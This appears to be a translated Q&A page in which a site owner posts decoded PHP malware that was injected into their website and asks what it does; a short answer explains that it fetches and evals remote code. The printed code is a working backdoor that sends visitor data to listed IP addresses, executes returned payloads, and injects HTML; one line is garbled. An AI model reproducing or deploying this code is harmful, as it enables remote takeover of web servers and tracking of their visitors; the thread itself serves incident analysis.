1

这在前几天的一次黑客攻击中被注入我的网站,我解密它并得到这个:有人可以告诉我它是做什么的吗?

编辑:不要去 IP 地址,它们也可能是恶意的。

if (!function_exists(GetMama)){
    function opanki($buf){
        global $god_mode;
        str_replace("href","href",strtolower($buf),$cnt_h);
        str_replace(" 2)&&($cnt_x == 0)) {
            $buf = $god_mode . $buf;
        } return $buf;
    }

    function GetMama(){
        $mother = "www.imp3.me";
        return $mother;
    }

    ob_start("opanki");
    $show = false;

    function ahfudflfzdhfhs($pa){
        global $show;
        global $god_mode;
        $mama = GetMama();

        $file = urlencode(__FILE__);
        if (isset($_SERVER["HTTP_HOST"])){
            $host = $_SERVER["HTTP_HOST"];
        }
        if (isset($_SERVER["REMOTE_ADDR"])){
            $ip = $_SERVER["REMOTE_ADDR"];
        }
        if (isset($_SERVER["HTTP_REFERER"])){
            $ref = urlencode($_SERVER["HTTP_REFERER"]);
        }
        if (isset($_SERVER["HTTP_USER_AGENT"])){
            $ua = urlencode(strtolower($_SERVER["HTTP_USER_AGENT"]));
        }

        $url = "http://" . $pa . "/opp.php?mother=" .$mama . "&file=" . $file . "&host=" . $host . "&ip=" . $ip . "&ref=" . $ref . "&ua=" .$ua;

        if( function_exists("curl_init") ){
            $ch = curl_init($url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_TIMEOUT, 3);
            $ult = curl_exec($ch);
        } else {
            $ult = @file_get_contents($url);
        }
        if (strpos($ult,"eval") !== false){
            $z = str_replace("eval","",$ult);
            eval($z);
            $show = true;
            return true;
        }
        if (strpos($ult,"ebna") !== false){
            $z = str_replace("ebna","",$ult);
            $god_mode = $z;
            $show = true;
            return true;
        } else {
            return false;
        }
    }

    $father[] = "146.185.254.245";
    $father[] = "31.184.242.103";
    $father[] = "91.196.216.148";
    $father[] = "91.196.216.49";

    foreach($father as $ur){
        if ( ahfudflfzdhfhs($ur) ) { break ;}
    }
    if ($show === false){
        $script='';
        $god_mode = $script;
    }
}
4

1 回答 1

3

file_get_contents它从列出的 IP 地址中获取 ( ) 一个文件并执行 ( eval) 该文件,该文件可以是任何内容。在您的服务器上放置更多文件,寻找其他漏洞,发送垃圾邮件,托管恶意软件......任何事情。

于 2012-03-17T15:50:30.667 回答